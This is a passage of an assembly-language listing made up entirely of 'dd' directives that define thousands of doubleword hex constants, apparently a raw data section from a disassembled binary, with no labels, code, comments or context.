		dd 0A6283513h, 3200595Ch, 0A2056F7Ah, 0D2988Ch,	42F5D3CCh
		dd 893D0AA8h, 3CCF2B38h, 0FB440043h, 98F3CD94h,	47960408h
		dd 0D07B6E2Fh, 17B0D954h, 6B375C0Fh, 6DE38084h,	0B3166Ah
		dd 0E49B99F8h, 0FA4F940Ch, 4B773800h, 0D8B6DDDEh, 54CC1CF6h
		dd 0B48F7ADAh, 786943A0h, 7BC11000h, 2100641Ch,	264071E3h
		dd 7A0AF87h, 84FEBC3Fh,	0DED7C085h, 41002A7Fh, 0E4D5DAD0h
		dd 0EB8E71Ah, 0D9D15233h, 0A6C52E02h, 138E3940h, 0EF95AC02h
		dd 4B2A0FCEh, 0B79D8A4h, 7C1E0061h, 0F8942129h,	0DE07D9E5h
		dd 1CE8CED5h, 0FF3007A0h, 36E90045h, 0C434C627h, 6D24C1B9h
		dd 0D6098C5Ah, 0EDAC8031h, 90EC4F03h, 2EF7798h,	78F0013Fh
		dd 94E95EF1h, 0BF19800Ah, 33D7E469h, 0E8DE867h,	9ED28535h
		dd 9810C5A6h, 0BAD34D16h, 2CE7BC40h, 0E5856Ch, 0C774D263h
		dd 14685CB7h, 0A120BF61h, 57207D1Fh, 0BCD2006Ch, 0C06E6307h
		dd 0DE1F15DCh, 84002FABh, 613EC3E4h, 85F000C5h,	6793B8DAh
		dd 5701948Dh, 0F370E6AEh, 8C472D5Ch, 0A0152580h, 7523000Ch
		dd 72DE1747h, 790032B5h, 0FE453EBFh, 1C6C9A85h,	116047Ah
		dd 6899874Eh, 4F2AFCD6h, 32369B00h, 145C7170h, 13DD00ACh
		dd 8AFF75F0h, 0DF580C5Eh, 0A0A40080h, 0DAD4AE91h, 4228007Bh
		dd 991D52FCh, 8500B87Ch, 0E44A598Ch, 0F73F7CBh,	0EFCB9A4h
		dd 904EB003h, 0AC711BE8h, 2A018700h, 196F8463h,	76450E8Bh
		dd 0A095866Dh, 601AD600h, 1512B9Dh, 0A28FA900h,	616C815Ah
		dd 864A0052h, 5E6B762Eh, 0AD004CDCh, 8222AA50h,	5ED1620h
		dd 588A704h, 2ACC00A8h,	0CFEC25Ch, 0B0458100h, 43E1193Dh
		dd 14427EEBh, 3CF903AEh, 0FDC11800h, 0F0B8BD19h, 5E0EE271h
		dd 60F967A7h, 1DBB8E60h, 309A0079h, 0B1CAE3A6h,	70001335h
		dd 0F2E28520h, 0B6125Ch, 0DB1593F6h, 0A8AC4F6Bh, 7C8C354h
		dd 8900BF7Ch, 2EB6D77Fh, 0E9B31A9Bh, 306870D4h,	0F3299175h
		dd 83031973h, 0C5EADCBCh, 0E2AD90A8h, 0A92E608Bh, 91D54D75h
		dd 15FAAF1Eh, 0F96D0900h, 9E8FE9h, 851E74A2h, 50B437A8h
		dd 9F0E070Eh, 0A01D00EEh, 65648D7h, 0BCEBD475h,	0AD1251E6h
		dd 6441C485h, 48378A14h, 1761020h, 45CE8213h, 0EF6240C7h
		dd 388BA00Bh, 83DC0018h, 7F76B5h, 0D9D6C193h, 8A5E9B23h
		dd 0E1A39703h, 0B8021Ch, 45531A60h, 88709536h, 0A0E41D00h
		dd 0F398126Eh, 2AB10021h, 73E183B3h, 0A1006B52h, 1AD1F299h
		dd 7ADDED20h, 0B0D22661h, 0C153000Eh, 6FBA010Fh, 0E658A00h
		dd 0D6EA094Ch, 0F21600E1h, 6C0FC284h, 0F0EE6F2Bh, 93C81D00h
		dd 55AE7AD9h, 7C8400ABh, 8191837h, 470098C5h, 0F721A286h
		dd 0F48331h, 1BF1BF0Dh,	9C67FB39h, 0C904DF00h, 80039424h
		dd 52F30D9h, 6DBE3E10h,	0FA034F72h, 31DE658Ch, 9386A58Dh
		dd 0F29D1F20h, 0D585CFC3h, 0C0D126A7h, 89FB8C4h, 5D154400h
		dd 6D8AAD0Fh, 9CB00E8Dh, 0F7CC7336h, 3A004F80h,	30EF119Fh
		dd 3123C890h, 5B1808AAh, 7EBA7013h, 2ABA90C1h, 0A88090CAh
		dd 33974374h, 0D5758D14h, 0A86D5C00h, 0C92C607Dh, 6B7F03h
		dd 0B49517F3h, 81EA3F23h, 2B2F3600h, 3AE9FF61h,	491000B5h
		dd 0CD3D8A92h, 0D00EC4BBh, 0F64C76h, 813B04E1h,	0CEDF0040h
		dd 0F844DCF0h, 0CB03C65Bh, 3DCF6C23h, 0C094FA79h, 31F46419h
		dd 608524Ah, 1D208126h,	0EBA04615h, 310CF0h, 2C7CEE78h
		dd 3F9BE963h, 72609500h, 0A4F57661h, 395367B8h,	40B357B5h
		dd 1921ADDDh, 38AED400h, 0F26913E1h, 565F0035h,	7EE53187h
		dd 3200F843h, 0A0C226D8h, 0CDFA4ABh, 0CFD59C86h, 574368B0h
		dd 0EB460C01h, 0C5A0794h, 442541DEh, 60C58125h,	6D75DCA6h
		dd 0AC03CE76h, 39B75388h, 892800DDh, 0C1447392h, 628C0A4h
		dd 4B5220DEh, 2634B738h, 0F48F1F31h, 2F075CA8h,	3C9C7E65h
		dd 0C0B8600Eh, 0E36904h, 281E64FAh, 6F9BECDEh, 0FF7CDD0Ch
		dd 7AF79CFh, 0BC61D09Eh, 0B904E079h, 889871F1h,	4782B1C0h
		dd 313ECFh, 0D3D21344h,	888B065Ah, 99E8300Ah, 0B40094DFh
		dd 5709C7Dh, 64BF00DEh,	96670338h, 177BBD33h, 770039F2h
		dd 99462F0Fh, 0FBAA5Ch,	0FFA18506h, 92042DC4h, 0E01849FEh
		dd 0E143FB0h, 4BA20016h, 9BB322F7h, 360FF248h, 147545A4h
		dd 523C0087h, 29EF4696h, 0FD871DDAh, 5ADD80B9h,	0DB812F79h
		dd 505BE800h, 37A5D64Dh, 64600C1h, 67392C4Eh, 0F00072E1h
		dd 44386C8h, 12289DE3h,	109B5CBh, 45A7FE85h, 0D6807F87h
		dd 21D0E1Eh, 0B1AC3823h, 0CDC0414Bh, 8E656D4h, 0C3EC2E07h
		dd 80597643h, 0CD053D32h, 0EBF40396h, 7207CA0Ch, 83D92CBh
		dd 1B2E00D5h, 9CC1123Bh, 75D20764h, 0B06C0CBAh,	1E8C7DAFh
		dd 0F87F0900h, 7BD913E4h, 0FA8E0059h, 73B9BD51h, 83006148h
		dd 0AEDEFF34h, 1E88F15Bh, 81B0309Bh, 954E4F4Bh,	270DCB7h
		dd 69C62C18h, 7CE0A710h, 158A0004h, 5396A882h, 1B003E0Fh
		dd 0ED9E14C0h, 8D7CD1h,	22EE3BC3h, 97248EFEh, 17303A01h
		dd 0D4563DEBh, 28F0C60h, 9EDAE154h, 80815929h, 0D06E012Fh
		dd 0F700DF19h, 8CF2B6E7h, 2C3BD810h, 3979D709h,	12560C73h
		dd 917947FFh, 0BAF85300h, 886CF0A5h, 28AA0F41h,	0B140F7C7h
		dd 3E801002h, 1B620500h, 0FAE6E242h, 0CD8D0001h, 0A8889A3Ah
		dd 31002FB3h, 0D3093656h, 0EA174BEDh, 0EEC00B4h, 30622112h
		dd 8E7984ADh, 1ECD5300h, 5F7889F1h, 88DE009Ah, 5265F4B2h
		dd 7E28FF31h, 36079451h
		dd 20CC563Eh, 0AFC3B0B4h, 0D818005Ch, 0D05BDAE0h, 5801BC99h
		dd 0F8C7761Ah, 84E1E92Bh, 4748DCh, 7561E578h, 7295E874h
		dd 9E41EA12h, 8B03CF00h, 73A7E1EDh, 7E3E0024h, 0D2845D3Fh
		dd 1100424Fh, 104CC265h, 743450CBh, 40440002h, 0D9215C69h
		dd 2500316Bh, 0FFE481E1h, 7071A887h, 0F5A4A0C9h, 0FA6400C7h
		dd 25FBDB82h, 0F600E94Dh, 9D166B96h, 0F07E936Fh, 3D4CB026h
		dd 0F080C9EBh, 952156FEh, 5D0EADBAh, 0C1B290EDh, 92068F0Dh
		dd 908F7C0h, 7B829CAAh,	10694420h, 0CC01E5B6h, 924A893h
		dd 0E2F2EBABh, 9C882010h, 0E4FAC51Fh, 85F4A003h, 77FF0D0h
		dd 1C8A50ABh, 51840091h, 9E00546Bh, 0B96780DAh,	115224h
		dd 0F6D774A8h, 27E79C28h, 1333EC00h, 26E33B9Ah,	2EA800ADh
		dd 643524Dh, 3A015C88h,	0F399BE1Eh, 0CEFC916Fh,	0FBC000D1h
		dd 293E442Bh, 0C077B08h, 0F0982E64h, 66586B0h, 0A06A0075h
		dd 0AC940939h, 0F1141FC8h, 996387h, 10E0AA38h, 0AD08BAh
		dd 32B6B1A6h, 57A982Bh,	0CFC22E0Bh, 0EA8807Dh, 1F5AF933h
		dd 0B6AC76h, 0F13BCE31h, 9A0008EEh, 128EDBFDh, 34D5EECh
		dd 0D9FEC48Bh, 68002A33h, 45D7BF29h, 0D17DA7h, 744E85B9h
		dd 36C57DDh, 32672400h,	3D6AEDAAh, 0EE450AFDh, 2F4CCCBh
		dd 695F2A37h, 0D8062C48h, 455988h, 0B02DDA02h, 69608FBDh
		dd 19A67616h, 4F4CC900h, 4CA2D2A0h, 0F580440Bh,	7E1BABC9h
		dd 215DE204h, 1FB153Fh,	0F39CE37Fh, 0BD024A4h, 80277538h
		dd 0C283B7EBh, 0E9BE38Bh, 0E052F9D9h, 0A1ECBD00h, 0D560749Fh
		dd 0BB778591h, 13B9049h, 0B77EE7A7h, 306A819Bh,	7D78204Ch
		dd 45DFCE01h, 4707FE46h, 0F351DD0h, 7BC12F86h, 272BC7FCh
		dd 0E6C2905Eh, 4D00558Ah, 0B566DACBh, 10426F1h,	0AF69FF5Ah
		dd 0E3C1AD7Ch, 0EEB0787Ch, 2923C002h, 417A68C9h, 60E05348h
		dd 0E0100F8h, 3DD5B118h, 0DC031D21h, 48ED1727h,	4FE80065h
		dd 95B68D53h, 9B3FA5E7h, 526B00F1h, 0C62FA01Eh,	5D531C17h
		dd 0DD3EC0A7h, 0FEBC430h, 5B5CB600h, 0E9601B4Bh, 0EAA40028h
		dd 87D4FDAEh, 540069E4h, 17A1AD2Ch, 0E27024h, 0EC0D51A6h
		dd 0C33991FBh, 2D07E30Bh, 26847486h, 0C47D4108h, 0C5D8E759h
		dd 1E009D31h, 0EAFC641Dh, 76018Eh, 0F93937D3h, 3018CA80h
		dd 62813600h, 4F5F129Bh, 0C1A22E4Bh, 35B00090h,	0DEEF8064h
		dd 7DE16C1Eh, 5253B341h, 30DC583Eh, 0FD98001Bh,	0C69CCC47h
		dd 0B8000B83h, 0BD0175CBh, 4458B5h, 8153DDD1h, 39E9E4DFh
		dd 0D68BE00h, 4C2F3E1Bh, 80C90007h, 0B5A77A90h,	0AB000F69h
		dd 652283A5h, 7B4940h, 0D1081B34h, 473B4225h, 78598800h
		dd 0B8BE7901h, 1EC60094h, 531B36D0h, 1F0A7341h,	49E2EADh
		dd 0C9C70300h, 168D24ECh, 715845h, 0E2B34DA8h, 0DA38810Eh
		dd 19D48F98h, 56320068h, 0CA16CDh, 65BEE674h, 819F5BA5h
		dd 609AE900h, 48EE1F08h, 71860038h, 52EABDFCh, 0F93C9547h
		dd 74230FCEh, 6338635Ah, 0B80CD0F0h, 0B0130789h, 607C5E66h
		dd 9F705F80h, 0A1C4E701h, 0A7E427C8h, 4B5AF8h, 0EF169AD1h
		dd 0DE13E3F6h, 0FA2EEA00h, 0C0120127h, 0AA450057h, 0D66C658Ch
		dd 0BA002B22h, 3D4156C9h, 53003B5h, 8B5A3A4Ch, 0A30C00C5h
		dd 13957A02h, 4B000574h, 6CBDEB1Ch, 0D2A47Bh, 1483A97Fh
		dd 8EE81B4Dh, 7C012B71h, 31E0E4C6h, 0C8DC371Ch,	0FFDC00B8h
		dd 0F3B69BD2h, 9E07C135h, 8CC24B1Bh, 6D345C00h,	32D30113h
		dd 0B1D749Bh, 9DD0BEA8h, 0D7004614h, 0E07E15A7h, 0CC632F03h
		dd 3300C3FCh, 0B959AECh, 0F15C00E8h, 9FC2E347h,	0DE054A34h
		dd 0BF8D49E0h, 0A3E6B5C0h, 0F1987Ch, 82F86BAAh,	0D5B23E28h
		dd 2C409CA2h, 5800CFDBh, 5CFF7BBBh, 36404D7h, 519232E7h
		dd 6980980Eh, 7014566h,	293C87C4h, 98805B86h, 9EB88D5Eh
		dd 0F7303467h, 0C94416Dh, 983D0027h, 0B4F32A5Dh, 0F20EEC9Bh
		dd 0FCB25F56h, 613AEB00h, 7895E04h, 217C34D0h, 40076031h
		dd 2F04A26Eh, 0C6A585D1h, 80403F87h, 0F0228C61h, 0E2A760Dh
		dd 40CD395Eh, 597D0281h, 1E2B2049h, 8B588F00h, 0A9D3EBBFh
		dd 0C5380745h, 8012646Bh, 0AC170943h, 31AD520Fh, 0F83DA6h
		dd 0C20C8E3h, 0E08D935Dh, 8B1F0070h, 6CD21068h,	0CB043652h
		dd 0BFEAB167h, 11C40380h, 5B081EF0h, 0F2F1EFDh,	432076A7h
		dd 0E181DF1h, 0BE1E6FB8h, 42408D96h, 0D28F52BAh, 0ECEECC2h
		dd 11DAFEDCh, 4F6939E0h, 40F6E257h, 0AE297575h,	0FE01F8A3h
		dd 633C5B04h, 317BE0C8h, 0E089B74h, 5520805Dh, 674F5B20h
		dd 72A1038Dh, 137DA8A0h, 508826C8h, 1F958C0Fh, 7CC8A043h
		dd 0C045E91h, 8CDC31Eh,	3B011718h, 57CCA7DCh, 3C50A2E7h
		dd 23D15BD5h, 5114462h,	0ED1E12h, 8C8BFB15h, 10016C69h
		dd 0CCD9C321h, 2440E8h,	35B900A7h, 5742F682h, 8C075459h
		dd 6D069ED1h, 4F12A09Eh, 146301Eh, 9C4915F3h, 8FDF4528h
		dd 24D74B18h, 3093692Ah, 0C5BBE87Ah, 0DBE60379h, 0CF7783EAh
		dd 5E07C1A6h, 24BA8240h, 0D3B3E720h, 0C8E005C6h, 40BE671Bh
		dd 2B1326ACh, 72F0BFD4h, 80BB173Bh, 376F35C5h, 0E659A4FFh
		dd 99AD003Fh, 0BD268A14h, 583AA35Dh, 6EBC0010h,	5B574DCDh
		dd 0CEF100F2h, 0C1D1F306h, 6000A81Ah, 9E5D4488h, 59B391h
		dd 0D9286392h, 95E50F86h, 99AD300h, 0E90CE266h,	69DE0030h
		dd 340B17F3h, 7D014161h, 0C1CCEB98h, 0B1E049C8h, 0F9660338h
		dd 629AE0D0h, 0B779BED8h, 0DC9E1001h, 9CA65399h, 25891881h
		dd 8FCBD347h, 80356440h, 0A732B494h, 0C4600FB2h, 2281AB37h
		dd 0DCC70DA4h, 0AD00F951h, 2B0AD838h, 0E6EE48h,	1FD54D28h
		dd 0B42A3B44h, 0BF3F9700h, 5DC6CE4h, 34D4E018h,	0C1706026h
		dd 718A2BA0h, 5C87C4F0h, 0B7D85A0Bh, 672600C5h,	0CE7317h
		dd 0E3449AE1h, 0BF810674h, 707F2E3Eh, 4DBB720Eh, 3B1F0093h
		dd 0BCFDE15h, 5C882DE6h, 970C1070h, 0F924734Ch,	0B99003Ah
		dd 0A0E5B108h, 0B900FF17h, 84F9F474h, 0A936DCh,	0FE2E9AA3h
		dd 38FCE4F7h, 0D9305F03h, 1F31C2Fh, 0EBDC5D60h,	875978EAh
		dd 0C910F2C0h, 0F1E69D40h, 0E5A8006Dh, 14EAFF6Ah, 8500C8D1h
		dd 0EE846727h, 3EFA2DDh, 5C906028h, 5DC88C86h, 0AD588DD1h
		dd 884D01ABh, 81D6DCC5h, 0E009A3E7h, 177C4C3Dh,	0B601E0h
		dd 0CB4767FBh, 5228FA12h, 3E00CF13h, 0E78F6989h, 0AD8070h
		dd 0A933DBC2h, 67FF5ED6h, 8A837500h, 0E01A7C8Fh, 5BD40029h
		dd 0DAA9A789h, 190177C5h, 0AC32B37Bh, 18FDEBFBh, 1DBB02F0h
		dd 69D9CCh, 99290721h, 52005778h, 0F6D5AB4Bh, 0DEA61Eh
		dd 0CAACF003h, 91210E77h, 9CBB6A00h, 0B2DCFFEDh, 37037869h
		dd 0C048CFA4h, 0C5990685h, 0E6C38800h, 0AD8279EBh, 12921C25h
		dd 0B15402Fh, 0AAFB139Fh, 1B00F177h, 0BF91D548h, 3E7BE859h
		dd 0C303BA3Fh, 16291114h, 0AC774880h, 0BB07CE00h, 83F290F9h
		dd 851328AAh, 26C60084h, 4157A633h, 890065DDh, 739BAF3Dh
		dd 1947869h, 0C2ACD5AAh, 40C7FACDh, 90D877FBh, 0B227D000h
		dd 3472F4B1h, 0DA5714A2h, 8101AC8Eh, 0D535F074h, 9303E083h
		dd 591FFE00h, 0B4B50ACBh, 0F8312E8Fh, 0F69401F5h, 0C0E88BC9h
		dd 49F84C34h, 9178DC00h, 0F7EEB818h, 0E9D30009h, 8B54E7C4h
		dd 0AA001D0Eh, 2604A29Ch, 3EFF8C66h, 8E01F1FCh,	10BB359Dh
		dd 1C7BEC52h, 9C71E200h, 8D82D79Eh, 17DD0549h, 0C0B42F22h
		dd 957DD07Dh, 46FE4100h
		dd 79A6E44Fh, 0BC9200EDh, 1C664E2Fh, 3A0B8255h,	80B85728h
		dd 56ED3E24h, 0B6D40767h, 10CC946Ah, 308A5562h,	85669D07h
		dd 0BBE0AE10h, 0FABDDCBh, 0A7539FEEh, 0B18D9A22h, 8227F840h
		dd 5D80ED60h, 72FA090h,	9DA1B78Eh, 5F67D0AEh, 9B001940h
		dd 8009F535h, 9294F1h, 0E712520Fh, 0C14AF958h, 4FD11900h
		dd 0C493A929h, 99DD0028h, 6587FC8Fh, 0A00A72Dh,	5BCBA4F0h
		dd 0F4C4C91Ch, 67C37h, 706C8966h, 0B54D7B46h, 818FFD01h
		dd 0C3624AA6h, 8005D3FFh, 3CE873CDh, 0A400541Ch, 2161F02Dh
		dd 0EF038C5Ah, 798FF9D8h, 0D413C87Dh, 33A9004Ch, 0B077520Bh
		dd 473861D6h, 975F0003h, 2E3F93DBh, 0B39C38E0h,	0E44D6F80h
		dd 8F240B2h, 3BECC00h, 50CD5671h, 1398DBh, 38D30E8Ah, 1DF9D987h
		dd 6893CF33h, 7F40A078h, 0B204A860h, 47230010h,	0D7F5B0E1h
		dd 96006B73h, 49DB862Ah, 1B478FCh, 312F6CC8h, 0C817BF7Fh
		dd 880EF9F2h, 0E79910h,	0E1DE3E95h, 3A4618D0h, 7759F011h
		dd 7900ABEEh, 2D5766FAh, 0E8563892h, 4E6400C4h,	0D308089h
		dd 4A0F8EEDh, 0E0C53CECh, 35EE406Ah, 67360033h,	0C3320428h
		dd 6100976Dh, 6F6EB5F3h, 75DF1C19h, 14090F3Ah, 0A6C00EEDh
		dd 4E2E42B1h, 7D210407h, 70D01522h, 0F863B295h,	0D5BC0089h
		dd 7AF1909Ah, 0FD008713h, 0DA3F6B84h, 0B03379h,	8CBD2569h
		dd 6331C239h, 5874EC00h, 0F4796FDFh, 0FCFD0055h, 2CFDA97h
		dd 4703526Dh, 0D898D7CCh, 94A8E0AEh, 96BC2821h,	925B0088h
		dd 34FA5A19h, 0DF00B0E4h, 0B2BF9F8Bh, 280132A2h, 15F52D1Ah
		dd 0C47DB3E1h, 44A99A00h, 6CCDFC4Bh, 2B771E00h,	0CCB98F84h
		dd 5556007Fh, 0AC29BE5h, 0CE5463F9h, 8B070EE8h,	88C60901h
		dd 9E37432Fh, 0A6B8D0CFh, 9F6F038Ch, 0B5C71675h, 4914C0A0h
		dd 0FA00EC70h, 78177D37h, 322D148h, 0B6ED2CACh,	6EA853F0h
		dd 960059C7h, 3BB38BF8h, 0B9CA87Ah, 534089EEh, 9AC27100h
		dd 0D8734493h, 0D4A60F00h, 6988956Dh, 8A1A0060h, 81F8C984h
		dd 0F20016FBh, 562E4D58h, 71B66Bh, 20B2E31Bh, 0C9D0197Ch
		dd 4AEA490Fh, 79AF8076h, 6B37D7h, 7AA65C6Fh, 0C702DB43h
		dd 9AA1F801h, 592D4011h, 0FF9824h, 0AE0F9770h, 4C03B95Ch
		dd 82332E00h, 0D34B5B71h, 60967D09h, 6D11857h, 7F16DAD0h
		dd 0BE053EB6h, 0C0AB50A9h, 61FB9194h, 4DC2E403h, 98517508h
		dd 0FE763Fh, 158EE235h,	423211CCh, 80BF7B38h, 0F4BBE04Dh
		dd 3F2744EFh, 0AA80B2DBh, 0C60AD229h, 0D4144FADh, 0D0D35Ch
		dd 0AF514A58h, 4877B125h, 3200DCCDh, 888DCC02h,	5900FDECh
		dd 51C787A1h, 9FC066h, 0CC8E6CD8h, 0C89BBA50h, 8FC97500h
		dd 8210358Ch, 32A100FCh, 3FEDCF3Bh, 0B3000527h,	71A203F3h
		dd 2426B7h, 0A4641E83h,	4F85B1F9h, 95D14D00h, 26E4CB81h
		dd 9832C7FDh, 733850CFh, 947B747Bh, 0FC82562Ch,	8353003Ch
		dd 0B063E220h, 0C2A0016Ah, 81190A96h, 0B324701Ah, 776C9A00h
		dd 0FD020F1Bh, 0CC8C0148h, 182355A1h, 62AEF433h, 7D008871h
		dd 0D91B38B0h, 8C6D47h,	35525114h, 8E9B95E5h, 0C1E1060Eh
		dd 2B39A028h, 557D17h, 2A83FF29h, 999B5361h, 0D5246900h
		dd 0A2A45A8Bh, 82E0048h, 5F42BA28h, 6D00A651h, 52A0E37h
		dd 7AD1026Fh, 71D7BD6h,	0B83D2F14h, 0C0878459h,	0C660EBADh
		dd 67AE0E07h, 371DB0Ch,	4AEC701Ch, 0F46A0A99h, 80AC9556h
		dd 7296141Eh, 330B9A92h, 5C0840h, 512A1660h, 5FB800C0h
		dd 0C54D140Dh, 0B33D5504h, 0E420805Ch, 4245BB59h, 9CE20033h
		dd 0BCA7168Dh, 0CB00B83Ch, 89266605h, 3AD4915h,	0DB250E85h
		dd 84793ABBh, 0DA3C5AB0h, 809038CCh, 6C28D5ECh,	1779E11Dh
		dd 0F70378h, 0F2D1C7B6h, 0AE187410h, 1A2C7CB4h,	33120C0Fh
		dd 4EAEF766h, 346AD000h, 6BA43E2Ah, 8CFB0050h, 0A6B22943h
		dd 300FE54h, 0F638D070h, 4B56F5h, 0FCCC379Ch, 0D43D1EA9h
		dd 58280412h, 0C027B400h, 6051F0h, 687C4EAEh, 32B954DCh
		dd 0A88F4700h, 44C3665Fh, 0C09F005Dh, 0ED58E57Dh, 19C07127h
		dd 0D52EF5CBh, 0FF08C199h, 0D0B2B10Bh, 5CB84885h, 8E9E7EA0h
		dd 21064490h, 8CC0897Ah, 2CF97F40h, 90BB19h, 4511BA5Ah
		dd 11C7AA0Bh, 798109DAh, 2005812h, 0AC00270Ah, 90EA2DE4h
		dd 1E78AB97h, 40C7DC31h, 3875366Fh, 8C182874h, 47708610h
		dd 0CC8D0307h, 0C301E0A9h, 0CB5CB0CFh, 9030FFB3h, 7913A131h
		dd 4AFC88AFh, 0D501111Ch, 92FE0A02h, 6B148091h,	0E229B4F9h
		dd 0ED5600C1h, 52FE2CD3h, 10312862h, 272A842h, 2F1F2F0h
		dd 0D1D51470h, 0DD801664h, 0B9FA2D7h, 957084E6h, 0A592B01Dh
		dd 9699D180h, 1CAC8019h, 0B8AE9Eh, 79784376h, 2A00A1E3h
		dd 42724A3h, 0E8ABCB58h, 55C1033Dh, 489D4989h, 5A7E26E8h
		dd 4C257901h, 7FC70F0Dh, 0B0607DE0h, 35F30709h,	0B096FD18h
		dd 0D2D4C946h, 0E13DA300h, 0BAA17314h, 355FC36h, 792EFF07h
		dd 0CBBFD31h, 0B9F7C3B8h, 37030D00h, 1764650h, 0C650B511h
		dd 0C90093F4h, 83CF0C2Dh, 457964h, 0D9B95BCDh, 34E8FC9Fh
		dd 1FD8850Fh, 2E0D805Dh, 0F4CCA512h, 0C5E241h, 0FB76B462h
		dd 0E3E63D3Ch, 3027593Ah, 5B3E21C4h, 60A53AB4h,	80377B80h
		dd 9B6B1189h, 8EF48438h, 6FAAABBEh, 4FED0072h, 3A4E8563h
		dd 0E000D812h, 0A6ABBCCBh, 84679E2Bh, 0DFC0E550h, 308DE30Ch
		dd 61102A74h, 6301A3A8h, 0C28EB67Eh, 898B917h, 82DB2128h
		dd 1F697501h, 13995FBBh, 724E1980h, 0CBE21974h,	33FB640Dh
		dd 60AC6841h, 3C3022FCh, 7E91A38Fh, 0D4F84AEh, 756FCC00h
		dd 533C4414h, 0A0AF877Eh, 0B467CEDAh, 9EAD9B61h, 6E5908C3h
		dd 0C14F72F6h, 8E364E75h, 21C00C18h, 0C5A47BC0h, 0BAEC006Ah
		dd 24611D15h, 3D143A2Eh, 7C8089Fh, 367AEEB0h, 0E0411552h
		dd 20E6D9h, 0B4DFD7C2h,	0A51693E4h, 2FA63A01h, 70F54CB0h
		dd 7FCB8AD4h, 605700EBh, 3F2CFECAh, 8F65D09h, 0A430B003h
		dd 0D87581DFh, 1CFB1E47h, 0ACFAB6F6h, 0C0461FD0h, 0B336D142h
		dd 0E900053Fh, 2F4B476Eh, 90C00DF4h, 1538009Eh,	68271BABh
		dd 0F9002BCAh, 0AB99429h, 854B64h, 7FA79378h, 0A69EDA9Dh
		dd 7D8A4100h, 50B6FF4Ch, 0F57C003Ch, 0EC02CEE6h, 25002B12h
		dd 3876D70Ah, 0EF7E079h, 98ED546Ch, 80961B60h, 1001E990h
		dd 0E5E2F5F4h, 2AEC9134h, 1A79017Ch, 1B270D29h,	16B1F745h
		dd 0FE3883F8h, 0E0555122h, 7F374E58h, 6C0D02B2h, 0EFA5444Bh
		dd 0AB14F960h, 0DDFF7F00h, 440D713h, 78602C5Dh,	0BCFE0C3Bh
		dd 7B005281h, 258E4DE0h, 4A85B4h, 7A45F377h, 9D467242h
		dd 8DADCA00h, 1D87A7B3h, 3980009h, 0E9204C18h, 0A814D4FFh
		dd 0C10DCh, 0B8507895h,	0E2E0B252h, 0E3608007h,	5BA26900h
		dd 6AD36FAFh, 0CC66010Ch, 4206EA45h, 84EEE09Fh,	0D42BF500h
		dd 3F138CA9h, 8E1F007Ah, 0B5E3BC6Eh, 0A87D3835h, 0E6429200h
		dd 939FF403h, 1F990EA6h, 31C062B9h, 0BA196B09h,	2103057Fh
		dd 0F537AE7Fh, 8880A485h, 3B417DD8h, 3E00BE1Bh,	6A63C7E4h
		dd 29074A42h, 2F5F5597h, 0AD1C9240h, 856418A5h,	58E9500Ah
		dd 8CC61B00h, 8708CC2Eh, 0CA54003Eh, 3D0C14BDh,	0F2E2967Bh
		dd 25C1E802h, 0E09ED398h, 7F3745A4h, 8FE9006Fh,	818B9986h
		dd 0C5F833E0h, 0F11D4401h, 1F4091E7h, 36A3D980h, 0C33F8854h
		dd 2F346F17h, 0B9ACA300h, 714337AAh, 13800FCh, 5592883Dh
		dd 423052BAh
		dd 43AF1817h, 0A56C008Fh, 7EE3C930h, 1D281CB8h,	0AD06DB3Dh
		dd 8B59578Ch, 0F0E4F868h, 0F2333EFAh, 2E3C2280h, 0E5604ECh
		dd 0C4E9F700h, 0BB8D8207h, 7501005Bh, 18201123h, 4B035A91h
		dd 0C97D08EFh, 53C4D839h, 0C2AB00E9h, 191AD490h, 40161C3h
		dd 83D5F6E7h, 9CD0DA95h, 8E301E56h, 0CEDF0Eh, 583EF731h
		dd 0D03E806h, 0FB1ACF84h, 7B5BC159h, 62489D4h, 419A9BF4h
		dd 0F3185899h, 0F63066F9h, 16860395h, 0BB5DE650h, 0E7569498h
		dd 113B5F00h, 0E47C6C7Eh, 0D5BC005Ch, 0C17B961Ah, 0CC01B5ECh
		dd 0EB391D7Ah, 2C5076F2h, 63679h, 656E13F8h, 0BBB9885Ch
		dd 4D8E560Ch, 999E8h, 8AB09DDFh, 0B264DBA5h, 0BB14360Ch
		dd 4CE89Ch, 0D5F41EC2h,	8C758EBAh, 0ECA81760h, 3E250C54h
		dd 845059F9h, 0EF5C285Eh, 0B3940088h, 0F46C495Dh, 1960147Dh
		dd 40F2C140h, 3FAC388Bh, 27094700h, 0A572A70Ah,	64E80C5Fh
		dd 76589E00h, 0FBD65B20h, 0E464C900h, 0EE973F7Ch, 84ED1888h
		dd 533B98D7h, 2440D628h, 0F144F24h, 82CABF05h, 0B4968803h
		dd 8141F23Ch, 187F5EACh, 98E1B880h, 0CDEB5185h,	63017000h
		dd 8AF579ADh, 0BECA0258h, 388073ACh, 0B2CF60D7h, 84EB5008h
		dd 1C3400FEh, 0FA87CBF8h, 8D00903Bh, 7E998553h,	175A13Fh
		dd 705FA03Eh, 5F4A584h,	0B6A30FAFh, 9F983943h, 0F44F0989h
		dd 4C0A6FF0h, 0D5496063h, 0C25D5700h, 9FFEFB1h,	39A03DBCh
		dd 30AC9A07h, 6B96F78Dh, 30900BE8h, 8607643Ch, 23364CD9h
		dd 0EEFE68h, 6CD06310h,	723C2628h, 74A19D2Ch, 0C35EAC00h
		dd 515BDFh, 5A02BA9Ch, 5CF092EDh, 0DCBE18C5h, 4E570E80h
		dd 3151C121h, 40D626E8h, 0E45255B4h, 5A038603h,	0EDBC685h
		dd 12E6FED8h, 7D5F7863h, 4197E099h, 0C49BCFCCh,	453BA76Ch
		dd 71C080AAh, 6539EC7h,	3B8A01D7h, 4384A358h, 0A56960D1h
		dd 0C3DA3E00h, 41AEB880h, 0F4F91C7Eh, 0E0F280D8h, 5AE5CF57h
		dd 6599A101h, 735CD0D7h, 53C3FCh, 2B1C2666h, 0BCC4A385h
		dd 0B3FA5F00h, 0DF950C39h, 0A915006Ch, 58829B43h, 0F50081B1h
		dd 0E1ECEAEEh, 946061h,	54749FD3h, 31DA1106h, 4A00B7FAh
		dd 0B70B2C8h, 6DB821h, 8978974Dh, 5EA9E9EFh, 1F5A807h
		dd 17D0E59Ah, 0ECAB7CBEh, 2F1E0E43h, 0BA81E026h, 84581D2Ch
		dd 0C9BEF3B8h, 50E42080h, 0A9940262h, 0B7C00BE3h, 2BFF88A0h
		dd 5309D3Dh, 0BA881AD3h, 4C2E0164h, 39B09A32h, 0E7D02070h
		dd 63434A1Ch, 408423D4h, 4F00EB80h, 793EA41Fh, 0E6DFDA26h
